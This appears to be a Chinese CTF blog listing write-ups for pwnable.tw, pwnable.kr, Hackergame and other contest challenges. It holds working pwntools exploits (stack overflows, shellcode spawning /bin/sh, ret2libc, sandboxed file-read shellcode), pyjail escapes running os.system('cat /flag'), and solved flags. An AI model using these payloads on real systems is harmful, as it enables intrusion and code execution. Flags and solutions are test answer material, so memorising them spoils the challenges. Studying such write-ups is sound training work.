快来和我贴贴qaq
post @ 2024-01-19

pwnable.tw

持续更新

start

检查一下保护 和查看每个段的权限发现,栈上有可执行权限

lhj@lhj-virtual-machine:~/Desktop/pwntw/start$ checksec start
[*] '/home/lhj/Desktop/pwntw/start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /home/lhj/Desktop/pwntw/start/start
0xf7ff8000 0xf7ffc000 0x00000000 r-- [vvar]
0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

查看了下题目逻辑,有一个输出一个输入,执行完输入后,add 0x14使得esp到 0x804809d(exit),然后ret执行 (exit)结束程序。可以发现输入大小是0x3c,是能覆盖返回地址的。如果能把栈的地址泄露出来的话,就能往栈上写shellcode,然后ret到shellcode那

Dump of assembler code for function _start:
   0x08048060 <+0>:     push   esp
   0x08048061 <+1>:     push   0x804809d
   0x08048066 <+6>:     xor    eax,eax
   0x08048068 <+8>:     xor    ebx,ebx
   0x0804806a <+10>:    xor    ecx,ecx
   0x0804806c <+12>:    xor    edx,edx
   0x0804806e <+14>:    push   0x3a465443
   0x08048073 <+19>:    push   0x20656874
   0x08048078 <+24>:    push   0x20747261
   0x0804807d <+29>:    push   0x74732073
   0x08048082 <+34>:    push   0x2774654c
   0x08048087 <+39>:    mov    ecx,esp
   0x08048089 <+41>:    mov    dl,0x14
   0x0804808b <+43>:    mov    bl,0x1
   0x0804808d <+45>:    mov    al,0x4
   0x0804808f <+47>:    int    0x80
   0x08048091 <+49>:    xor    ebx,ebx
   0x08048093 <+51>:    mov    dl,0x3c
   0x08048095 <+53>:    mov    al,0x3
   0x08048097 <+55>:    int    0x80
   0x08048099 <+57>:    add    esp,0x14
=> 0x0804809c <+60>:    ret

会发现执行到ret的时候 stack上有一个栈相关的地址,可以通过栈溢出覆盖返回地址调用 write来把esp打印出来泄露这个地址,泄露完后刚刚好又能再read一次,第二次read就写shellcode,然后把返回地址修改成shellcode的起始地址(用泄露出来的地址,gdb去查看这个地址和shellcode的偏移来算shellcode的地址),第二次read esp到返回地址之间的距离太短了,所以在返回地址后边写shellcode。shellcode的地址 = leak_addr + 0x14(esp距离返回地址的偏移)

0x08048087 <+39>:    mov    ecx,esp
0x08048089 <+41>:    mov    dl,0x14
0x0804808b <+43>:    mov    bl,0x1
0x0804808d <+45>:    mov    al,0x4
0x0804808f <+47>:    int    0x80
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./start')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "chall.pwnable.tw"
    port = 10000
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

# g(p)

payload = b'a' * 0x14 + p32(0x08048087)
sa("Let's start the CTF:",payload)

leak_rsp = u32(p.recv(4))
success(hex(leak_rsp))

shellcode = asm('''
push %s
push %s
push esp
pop ebx
xor ecx,ecx
xor edx,edx
push 0xb
pop eax
int 0x80
''' % (u32('/sh\0') , u32('/bin')))

# g(p)
payload = b'a' * 0x14 + p32(leak_rsp + 0x14) + shellcode
s(payload)

p.interactive()

orw

程序逻辑是,输入 0xC8 个字节的数据,然后call这个数据

; Attributes: bp-based frame fuzzy-sp

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near

var_4= dword ptr -4
argc= dword ptr  8
argv= dword ptr  0Ch
envp= dword ptr  10h

; __unwind {
lea     ecx, [esp+4]
and     esp, 0FFFFFFF0h
push    dword ptr [ecx-4]
push    ebp
mov     ebp, esp
push    ecx
sub     esp, 4
call    orw_seccomp
sub     esp, 0Ch
push    offset format   ; "Give my your shellcode:"
call    _printf
add     esp, 10h
sub     esp, 4
push    0C8h            ; nbytes
push    offset shellcode ; buf
push    0               ; fd
call    _read
add     esp, 10h
mov     eax, offset shellcode
call    eax ; shellcode
mov     eax, 0
mov     ecx, [ebp+var_4]
leave
lea     esp, [ecx-4]
retn
; } // starts at 8048548
main endp

输入前有一个沙箱,可以通过orw(open read write)把flag读出来,不过这里 如果 A 为 64位的话,似乎也能绕过沙箱,好像可以通过retn去修改段寄存器的某个数据来切换处理器的运行模式,不过我是直接用shellcraft来生成orw把flag读出来的

lhj@lhj-virtual-machine:~/Desktop/pwntw/orw$ seccomp-tools dump ./orw
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

exp

from pwn import *
# from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./orw')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "chall.pwnable.tw"
    port = 10001
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

def orw_i386():
    shellcode = shellcraft.open('/home/orw/flag')
    shellcode += shellcraft.read('eax','esp',0x30)
    shellcode += shellcraft.write(1,'esp',0x30)
    return asm(shellcode)


def orw_cat_i386():
    shellcode = shellcraft.i386.linux.cat2('/home/orw/flag')
    return asm(shellcode)

shellcode = orw_cat_i386()
print(len(shellcode))

# g(p)
s(shellcode)

p.interactive()

calc

先分析一下程序的功能,get_expr是输入(最多位1024字节的数据),parse_expr会把输入的表达式计算出来,最后打印结果。bzero和init_pool这两个函数不太重要,只是初始化的函数

Read More
post @ 2024-01-18

pwn

basic-overflow

有一个shell函数,栈溢出覆盖返回地址为shell

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[64]; // [rsp+0h] [rbp-40h] BYREF

  gets(v4, argv, envp);
  return 0;
}
int shell()
{
  return execve("/bin/sh", 0LL, 0LL);
}

exp

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./basic-overflow')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "34.123.15.202"
    port = 5000
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


payload = b'a' * (0x40 + 0x8) + p64(0x401136)

sl(payload)

p.interactive()

baby-shellcode

emm没有输入大小是 0x400,直接用shellcraft吧

public _start
_start proc near
sub     rsp, 400h
mov     edx, 400h       ; count
mov     rsi, rsp        ; buf
mov     edi, 0          ; fd
mov     eax, 0
syscall                 ; LINUX - sys_read
jmp     rsp
_start endp

_text ends
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./baby-shellcode')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "34.28.147.7"
    port = 5000
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


payload = asm(shellcraft.sh())

sl(payload)
p.interactive()

patched-shell

和第一题 basic-overflow一样的,有一个backdoor函数

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./patched-shell')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "34.134.173.142"
    port = 5000
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


payload = b'a' * (0x40 + 0x8) + p64(0x401137)

sl(payload)


p.interactive()

nothing-to-return

binaery里面没有useful gadget 那可以去libc里面找嘛,直接给了printf的地址,不需要leak printf了

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./nothing-to-return')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "34.30.126.104"
    port = 5000
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


ru("printf is at ")
printf_addr = int(rl()[:-1],16)
libc_base = printf_addr - libc.sym['printf']
success(f"libc_base ->{hex(libc_base)}")

rdi = libc_base + 0x0000000000028265 
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = 0x000000000040101a


payload = flat([
    b'a' * (0x40 + 0x8),
    ret,rdi,binsh,system
]) 

print(len(payload))

sla("Hello give me an input",str(len(payload)))
sla("Enter your input:\n",payload)

p.interactive()
Read More
post @ 2024-01-04

fd

程序逻辑是这样的, 从fd里读数据,如果数据为LETMEWIN就会输出flag。那可以让fd = 0 (标准输入),让read去read我的输入,然后再输入LETMEWIN

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
                printf("pass argv[1] a number\n");
                return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
                printf("good job :)\n");
                system("/bin/cat flag");
                exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;
}
./fd 4660
LETMEWIN

collision

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

代码逻辑是 读总共20个字节的数据,分五次读,一次读4个字节,累加后如果为0x21DD09EC 就会输出flag,得按字节码输入,如果直接输入数字的话,一个数字会占一个字节(ascii),那怎么加都加不到0x21dd09ec的,可以用python和 linux下的 ``来解决键入字节码的问题

exp:

./col `python -c 'print "\xc9\xce\xc5\x06\xc9\xce\xc5\x06\xc9\xce\xc5\x06\xc9\xce\xc5\x06\xc8\xce\xc5\x06"'`

bof

gets 这里存在一个溢出,把 栈上 key的位置的值 覆盖成 0xcafebabe 就好了

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./bof')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "pwnable.kr"
    port = 9000
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


payload = b'a' * (13 * 4) + p32(0x0CAFEBABE)

sl(payload)


p.interactive()

flag

ida打开发现在代码段有非常多数据,猜测是加了壳,用die查了一下壳发现是upx3.08,脱壳后的逻辑是

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *dest; // [rsp+8h] [rbp-8h]

  puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
  dest = (char *)malloc(100LL);
  strcpy(dest, flag);
  return 0;
}

有一个strcpy的逻辑,跟过去得到flag

55 50 58 2E 2E 2E 3F 20 73 6F+aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0
Read More
post @ 2024-01-02

pyjali

level 1

__import__('os').system('cat /flag')

level2

f"{__import__('os').system('cat /flag')}"

level3

有一个字符长度限制,测试一下长度13,试了一下breakpoint可以使用,可以用breakpoint打开一个调试器去绕过这个长度限制

lhj@lhj-virtual-machine:~/Desktop/cbctf/pwn$ nc training.0rays.club 10100

 _     _______     _______ _       _____
| |   | ____\ \   / / ____| |     |___ /
| |   |  _|  \ \ / /|  _| | |       |_ \
| |___| |___  \ V / | |___| |___   ___) |
|_____|_____|  \_/  |_____|_____| |____/


Welcome to the JBNRZ's pyjail
Enter your expression and I will evaluate it for you.
Example:
  input: 1 + 1
  Result: 2
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) __import__('os').system('sh')
*** SyntaxError: invalid syntax
(Pdb) print(1)
1
(Pdb) __import__('os').system('cat /flag')
CBCTF{9fc71bcf-1809-413d-98e1-41155ffd6211}

level4

和3 一样可以通过breakpoint

level5

和3一样

Reverse

PWN

有一个打印flag的逻辑,分析了一下v2是没有判断下界的,输入一个负数的话,1000 * (-1) > balance这个表达式的值为假,就能走到下边打印flag的逻辑那,所以buy -1个flag就能printFlag()

__isoc99_scanf("%d", &v1);
printf("Enter the quantity to buy: ");
__isoc99_scanf("%d", &v2);
v3 = 0;
if ( v1 == 3 )
{
  v3 = 1000 * v2;
  if ( (int)(1000 * v2) > balance )
  {
    puts("Insufficient balance to buy Flag.");
  }
  else
  {
    balance -= v3;
    flagCount += v2;
    printf("Congratulations, you bought %d Flag(s) for %d, current balance: %d.\n", v2, v3, (unsigned int)balance);
    printFlag();
  }
}

TIVM-Checkin

buf = []
def getchar():
    global buf
    while len(buf) <= 0:
        buf = list(input().encode())
        buf.append(0x0a)
    return buf.pop(0)

def run():
    mem = eval(open('checkin.tricode', 'r').read())
    ip = 0
    size = len(mem)
    while ip + 2 < size:
        a1 = mem[ip]
        a2 = mem[ip + 1]
        a3 = mem[ip + 2]
        next_jump = ip + 3

        if a2 & 0x80000000 != 0:
            print(chr(mem[a1]), end='')
        elif a1 & 0x80000000 != 0:
            mem[a2] = getchar()
        else:
            mem[a2] = (mem[a2] - mem[a1]) & 0xffffffff
            if mem[a2] == 0 or mem[a2] & 0x80000000 != 0:
                next_jump = a3

        ip = next_jump
    
if __name__ == "__main__":
    run()

有一个cmp key逻辑。没有算法相关的逻辑,那flag可能是明文 ?先看看mem上的数据,把可见字符打印出来看看有什么

a = [0, 0, 52, 87, 101, 108, 99, 111, 109, 101, 32, 116, 111, 32, 67, 66, 67, 84, 70, 32, 50, 48, 50, 51, 33, 10, 78, 111, 119, 32, 103, 117, 101, 115, 115, 32, 109, 121, 32, 108, 117, 99, 107, 121, 32, 110, 117, 109, 98, 101, 114, 58, 3, 4294967295, 55, 4, 4294967295, 58, 5, 4294967295, 61, 6, 4294967295, 64, 7, 4294967295, 67, 8, 4294967295, 70, 9, 4294967295, 73, 10, 4294967295, 76, 11, 4294967295, 79, 12, 4294967295, 82, 13, 4294967295, 85, 14, 4294967295, 88, 15, 4294967295, 91, 16, 4294967295, 94, 17, 4294967295, 97, 18, 4294967295, 100, 19, 4294967295, 103, 20, 4294967295, 106, 21, 4294967295, 109, 22, 4294967295, 112, 23, 4294967295, 115, 24, 4294967295, 118, 25, 4294967295, 121, 26, 4294967295, 124, 27, 4294967295, 127, 28, 4294967295, 130, 29, 4294967295, 133, 30, 4294967295, 136, 31, 4294967295, 139, 32, 4294967295, 142, 33, 4294967295, 145, 34, 4294967295, 148, 35, 4294967295, 151, 36, 4294967295, 154, 37, 4294967295, 157, 38, 4294967295, 160, 39, 4294967295, 163, 40, 4294967295, 166, 41, 4294967295, 169, 42, 4294967295, 172, 43, 4294967295, 175, 44, 4294967295, 178, 45, 4294967295, 181, 46, 4294967295, 184, 47, 4294967295, 187, 48, 4294967295, 190, 49, 4294967295, 193, 50, 4294967295, 196, 51, 4294967295, 199, 0, 0, 203, 0, 4294967295, 202, 206, 0, 0, 210, 49, 0, 0, 215, 0, 0, 213, 213, 218, 202, 213, 221, 214, 214, 224, 209, 214, 227, 214, 213, 233, 0, 0, 840, 214, 214, 236, 213, 214, 242, 0, 0, 840, 4294967295, 202, 245, 0, 0, 249, 49, 0, 0, 254, 0, 0, 252, 252, 257, 202, 252, 260, 253, 253, 263, 248, 253, 266, 253, 252, 272, 0, 0, 840, 253, 253, 275, 252, 253, 281, 0, 0, 840, 4294967295, 202, 284, 0, 0, 288, 52, 0, 0, 293, 0, 0, 291, 291, 296, 202, 291, 299, 292, 292, 302, 287, 292, 305, 292, 291, 311, 0, 0, 840, 292, 292, 314, 291, 292, 320, 0, 0, 840, 4294967295, 202, 323, 0, 0, 327, 53, 0, 0, 332, 0, 0, 330, 330, 335, 202, 330, 338, 331, 331, 341, 326, 331, 344, 331, 330, 350, 0, 0, 840, 331, 331, 353, 330, 331, 359, 0, 0, 840, 4294967295, 202, 362, 0, 0, 366, 49, 0, 0, 371, 0, 0, 369, 369, 374, 202, 369, 377, 370, 370, 380, 365, 370, 383, 370, 369, 389, 0, 0, 840, 370, 370, 392, 369, 370, 398, 0, 0, 840, 4294967295, 202, 401, 0, 0, 405, 52, 0, 0, 410, 0, 0, 408, 408, 413, 202, 408, 416, 409, 409, 419, 404, 409, 422, 409, 408, 428, 0, 0, 840, 409, 409, 431, 408, 409, 437, 0, 0, 840, 0, 0, 440, 0, 0, 444, 71, 443, 4294967295, 447, 0, 0, 451, 114, 450, 4294967295, 454, 0, 0, 458, 101, 457, 4294967295, 461, 0, 0, 465, 97, 464, 4294967295, 468, 0, 0, 472, 116, 471, 4294967295, 475, 0, 0, 479, 33, 478, 4294967295, 482, 0, 0, 486, 32, 485, 4294967295, 489, 0, 0, 493, 72, 492, 4294967295, 496, 0, 0, 500, 101, 499, 4294967295, 503, 0, 0, 507, 114, 506, 4294967295, 510, 0, 0, 514, 101, 513, 4294967295, 517, 0, 0, 521, 32, 520, 4294967295, 524, 0, 0, 528, 105, 527, 4294967295, 531, 0, 0, 535, 115, 534, 4294967295, 538, 0, 0, 542, 32, 541, 4294967295, 545, 0, 0, 549, 121, 548, 4294967295, 552, 0, 0, 556, 111, 555, 4294967295, 559, 0, 0, 563, 117, 562, 4294967295, 566, 0, 0, 570, 114, 569, 4294967295, 573, 0, 0, 577, 32, 576, 4294967295, 580, 0, 0, 584, 102, 583, 4294967295, 587, 0, 0, 591, 108, 590, 4294967295, 594, 0, 0, 598, 97, 597, 4294967295, 601, 0, 0, 605, 103, 604, 4294967295, 608, 0, 0, 612, 58, 611, 4294967295, 615, 0, 0, 619, 10, 618, 4294967295, 622, 0, 0, 626, 67, 625, 4294967295, 629, 0, 0, 633, 66, 632, 4294967295, 636, 0, 0, 640, 67, 639, 4294967295, 643, 0, 0, 647, 84, 646, 4294967295, 650, 0, 0, 654, 70, 653, 4294967295, 657, 0, 0, 661, 123, 660, 4294967295, 664, 0, 0, 668, 87, 667, 4294967295, 671, 0, 0, 675, 51, 674, 4294967295, 678, 0, 0, 682, 49, 681, 4294967295, 685, 0, 0, 689, 99, 688, 4294967295, 692, 0, 0, 696, 48, 695, 4294967295, 699, 0, 0, 703, 109, 702, 4294967295, 706, 0, 0, 710, 101, 709, 4294967295, 713, 0, 0, 717, 95, 716, 4294967295, 720, 0, 0, 724, 116, 723, 4294967295, 727, 0, 0, 731, 111, 730, 4294967295, 734, 0, 0, 738, 95, 737, 4294967295, 741, 0, 0, 745, 67, 744, 4294967295, 748, 0, 0, 752, 56, 751, 4294967295, 755, 0, 0, 759, 67, 758, 4294967295, 762, 0, 0, 766, 84, 765, 4294967295, 769, 0, 0, 773, 70, 772, 4294967295, 776, 0, 0, 780, 50, 779, 4294967295, 783, 0, 0, 787, 79, 786, 4294967295, 790, 0, 0, 794, 50, 793, 4294967295, 797, 0, 0, 801, 51, 800, 4294967295, 804, 0, 0, 808, 33, 807, 4294967295, 811, 0, 0, 815, 33, 814, 4294967295, 818, 0, 0, 822, 33, 821, 4294967295, 825, 0, 0, 829, 125, 828, 4294967295, 832, 0, 0, 855, 119, 114, 111, 110, 103, 835, 4294967295, 843, 836, 4294967295, 846, 837, 4294967295, 849, 838, 4294967295, 852, 839, 4294967295, 855, 0, 0, 859, 10, 858, 4294967295, 862]

b =list(range(32, 127))

for i in a:
    if i in b:
        print(chr(i),end="")
Read More
post @ 2023-12-28

Hackergame 启动

Hackergame启动!发现校验相似度是在前端校验的,然后通过url传参相似度,传递个100过去就拿到flag了

更深更暗

在main.js里有一段生成flag的代码,在控制台中调用就好了

async function getFlag(token) {
    // Generate the flag based on user's token
    let hash = CryptoJS.SHA256(`dEEper_@nd_d@rKer_${token}`).toString();
    return `flag{T1t@n_${hash.slice(0, 32)}}`;
}
async function getFlag(token) {
        // Generate the flag based on user's token
        let hash = CryptoJS.SHA256(`dEEper_@nd_d@rKer_${token}`).toString();
        return `flag{T1t@n_${hash.slice(0, 32)}}`;
    }
getFlag(localStorage.token)

猫咪小测


1. 想要借阅世界图书出版公司出版的《A Classical Introduction To Modern Number Theory 2nd ed.》,应当前往中国科学技术大学西区图书馆的哪一层?(30 分)
12
暴力破解

2. 今年 arXiv 网站的天体物理版块上有人发表了一篇关于「可观测宇宙中的鸡的密度上限」的论文,请问论文中作者计算出的鸡密度函数的上限为 10 的多少次方每立方秒差距?(30 分)
23

https://arxiv.org/abs/2303.17626


3. 为了支持 TCP BBR 拥塞控制算法,在编译 Linux 内核时应该配置好哪一条内核选项?
CONFIG_TCP_CONG_BBR

https://github.com/google/bbr/blob/master/Documentation/bbr-quick-start.md


4. 🥒🥒🥒:「我……从没觉得写类型标注有意思过」。在一篇论文中,作者给出了能够让 Python 的类型检查器 MyPY mypy 陷入死循环的代码,并证明 Python 的类型检查和停机问题一样困难。请问这篇论文发表在今年的哪个学术会议上?(20 分)
提示:会议的大写英文简称,比如 ISCA、CCS、ICML。

ECOOP
https://drops.dagstuhl.de/opus/volltexte/2023/18237/pdf/LIPIcs-ECOOP-2023-44.pdf


好耶学会怎么搜索论文了,Google hacker语法,萃取关键词,然后按时间筛选缩小范围

赛博井字棋

简单玩了一下,发现怎么打都是平局,后面在想能不能在敌方棋子位置下棋,用burp suite发送了一下,发现可以,后端没有判断格子上面是否有棋子,覆盖敌方棋子后就拿到flag了,也可以用两个浏览器来操作

flag{I_can_eat_your_pieces_41065ba433}

组委会模拟器

这道题消息都是在span标签中的,只需要把span枚举一次,用正则匹配,然后再模拟点击就好了

function findAndClickSpan() {

  const regex = /hack\[[^\]]*\]/;

  const spans = document.getElementsByTagName('span');

  Array.from(spans).forEach((span) => {
    if (regex.test(span.textContent)) {
      console.log('匹配的span元素:', span);

      span.click();
    }
  });
}
setInterval(findAndClickSpan, 1000);
flag{Web_pr0gra_mm1ng_5a17e089a1_15fun}

查询了一下无线传输图片的方法,sstv这个协议

Read More
post @ 2023-12-28

re

点击就送的逆向题

.S的文件 使用as命令来汇编一下,然后ida打开分析逻辑

as -o output.o input.S

置反一下逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-54h]
  char s1[32]; // [rsp+10h] [rbp-50h] BYREF
  char s2[40]; // [rsp+30h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+58h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  strcpy(s2, "Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM");
  _isoc99_scanf(&unk_F4, s1);
  for ( i = 0; i <= 31; ++i )
    s1[i] += 7;
  if ( !strcmp(s1, s2) )
    printf("wrong!");
  puts("good!");
  return 0;
}
flag = "Z`J[X^LMNO`PPJPVQRSIUTJ]IMNOZKMM"

for i in range(len(flag)):
    byte = ord(flag[i]) - 7
    print(chr(byte),end="")
SYC{SYCTQWEFGHYIICIOJKLBNMCVBFGHSDFF}

shiftjmp

有个jmp的花指令 nop掉后,对着main u p 重新打包main函数反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]

  puts("flag:");
  for ( i = 0; i <= 33; ++i )
  {
    if ( rodata[i] ^ i ^ getchar() )
    {
      puts("no");
      return 0;
    }
  }
  puts("yes");
  return 0;
}
flag = [0x53, 0x58, 0x41, 0x78, 0x53, 0x36, 0x6A, 0x64, 0x38, 0x64, 0x6F, 0x54, 0x78, 0x42, 0x51, 0x7B, 0x78, 0x22, 0x4D, 0x61, 0x27, 0x63, 0x73, 0x45, 0x2D, 0x7C, 0x45, 0x6C, 0x2C, 0x6F, 0x2F, 0x7B, 0x5E, 0x5C, 0x00]

for i in range(len(flag)):
    byte = flag[i] ^ i
    print(chr(byte),end="")

幸运数字

这里的问题,其实是求解 找0xD3范围内的i异或cmp数组 哪个开头是SYC,因为与运算有截断这个特性,所以范围是0xD3

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // ebx
  unsigned int v5; // eax
  unsigned __int8 cmp_data[41]; // [rsp+20h] [rbp-60h] BYREF
  unsigned int inputString; // [rsp+54h] [rbp-2Ch] BYREF
  int lenth; // [rsp+58h] [rbp-28h]
  int i; // [rsp+5Ch] [rbp-24h]

  _main(argc, argv, envp);
  qmemcpy(cmp_data, "\r\a", 2);
  cmp_data[2] = 29;
  cmp_data[3] = 37;
  cmp_data[4] = 29;
  cmp_data[5] = 110;
  cmp_data[6] = 48;
  cmp_data[7] = 57;
  cmp_data[8] = 44;
  cmp_data[9] = 63;
  cmp_data[10] = 42;
  cmp_data[11] = 43;
  cmp_data[12] = 50;
  cmp_data[13] = 63;
  cmp_data[14] = 42;
  cmp_data[15] = 55;
  cmp_data[16] = 110;
  cmp_data[17] = 48;
  cmp_data[18] = 48;
  cmp_data[19] = 48;
  cmp_data[20] = 48;
  cmp_data[21] = 45;
  cmp_data[22] = 1;
  cmp_data[23] = 7;
  cmp_data[24] = 49;
  cmp_data[25] = 43;
  cmp_data[26] = 1;
  cmp_data[27] = 57;
  cmp_data[28] = 31;
  cmp_data[29] = 59;
  cmp_data[30] = 45;
  cmp_data[31] = 45;
  cmp_data[32] = 27;
  cmp_data[33] = 58;
  cmp_data[34] = 1;
  cmp_data[35] = 12;
  qmemcpy(&cmp_data[36], "o96*#", 5);
  printf(&Format);
  scanf("%u", &inputString);
  if ( inputString <= 0x3E7 )
  {
    lenth = 41;
    puts(&Buffer);
    for ( i = 0; i < lenth; ++i )
    {
      v4 = cmp_data[i];
      v5 = result(inputString);
      printf("%c", v4 ^ (v5 % 0xD3));
    }
    return 0;
  }
  else
  {
